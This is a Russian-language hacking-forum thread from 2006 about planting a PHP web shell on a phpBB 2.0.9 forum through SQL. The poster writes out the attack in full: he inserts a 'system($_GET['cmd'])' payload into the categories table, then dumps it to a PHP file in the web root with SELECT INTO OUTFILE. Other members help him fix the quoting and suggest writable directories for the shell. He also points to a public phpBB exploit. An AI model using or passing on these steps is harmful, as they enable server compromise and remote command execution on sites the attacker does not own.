Форумы Заливка шелла в phpBB 2.0.9 через SQL

Discussion in 'Уязвимости CMS/форумов' started by bandera, 5 Jun 2006.

Thread Status:
Not open for further replies.
  1. bandera

    bandera Banned

    Joined:
    2 Jun 2006
    Messages:
    58
    Likes Received:
    37
    Reputations:
    11
    Почему вылетает такая ошибка при востонавлениие БД. Что можно сделать.

    Error importing backup file DEBUG MODE SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'cmd']); ?>', '10')' at line 1 INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '', '10') Line : 980 File : /home/xxxxx/public_html/forum/admin/admin_db_utilities.php
     
  2. Rebz

    Rebz Banned

    Joined:
    8 Nov 2004
    Messages:
    4,052
    Likes Received:
    1,534
    Reputations:
    1,128
    'cmd']); ?> - это что такое?)) шелл напоминает наполовину)

    смотри таблицу phpbb_categories. Смотри значения таблицы..скорее всего в ней дело. точно не знаю.
     
  3. bandera

    bandera Banned

    Joined:
    2 Jun 2006
    Messages:
    58
    Likes Received:
    37
    Reputations:
    11
    Да не это ошибка так вылетает:
    Писал всё правильно.

    INSERT INTO phpbb_categories (cat_id, cat_title, cat_order) VALUES('1', '<? system(GET['cmd']); ?>', '10');

    Потом:
    SELECT cat_title INTO OUTFILE '/home/xxxx/public_html/forum/cache/shell.php' FROM phpbb_categories where cat_id=1;

    Не пойму чо за хрень такая...

    Нет таблица стандартная.
     
    #3 bandera, 5 Jun 2006
    Last edited: 5 Jun 2006
  4. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    Говорят если ковычки заслешировать - поможет.
     
  5. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    Ну дальше то что? Заслешировать то все равно надо.
    Запрос к мускулу идет не правильный, хоть отедльный запрос, хоть востановление из бэкапа.
     
  6. bandera

    bandera Banned

    Joined:
    2 Jun 2006
    Messages:
    58
    Likes Received:
    37
    Reputations:
    11
    Green_Bear сэнкс помогло=)

    Теперь другая проблема - какая папка ещё может быть доступна для записи? А то Access denied =)
     
    #6 bandera, 5 Jun 2006
    Last edited: 5 Jun 2006
  7. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    images/avatars/
     
  8. bandera

    bandera Banned

    Joined:
    2 Jun 2006
    Messages:
    58
    Likes Received:
    37
    Reputations:
    11
    не некатит (странно чо за хрень) ещё может что нибудь быть?
     
    #8 bandera, 5 Jun 2006
    Last edited: 5 Jun 2006
  9. bandera

    bandera Banned

    Joined:
    2 Jun 2006
    Messages:
    58
    Likes Received:
    37
    Reputations:
    11
    Вопрос вот по этому сплойту для пхпбб <2.0.10:
    http://milw0rm.com/id.php?id=647
    его исправлять надо или что, а то у меня лампочка на модеме не моргнула даже, а он пишет cant connect.
     
    #9 bandera, 5 Jun 2006
    Last edited: 5 Jun 2006
  10. /W0W3/s

    /W0W3/s HarD CorE

    Joined:
    18 Jun 2005
    Messages:
    646
    Likes Received:
    212
    Reputations:
    85
    images/avatars/ это папка доступна для записи просто это папка стоит на фильтрации зависимо от типа файлов и размера.
     
  11. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    Она не всегда доступна, можна и выложить прова на него.
     
  12. /W0W3/s

    /W0W3/s HarD CorE

    Joined:
    18 Jun 2005
    Messages:
    646
    Likes Received:
    212
    Reputations:
    85
    ну если админ уберет доступ она и будет не достепна
     
  13. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    или если туда акссес закинит )
     
  14. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Итак соучаснеги я опять закрою эту тему.
    google_it:sql docs OR sql
    forum_seach:sql
    Информации по sql очень много,тем более что сервер дает описание ошибки.
    Тема закрыта.Автору минус.
     
Thread Status:
Not open for further replies.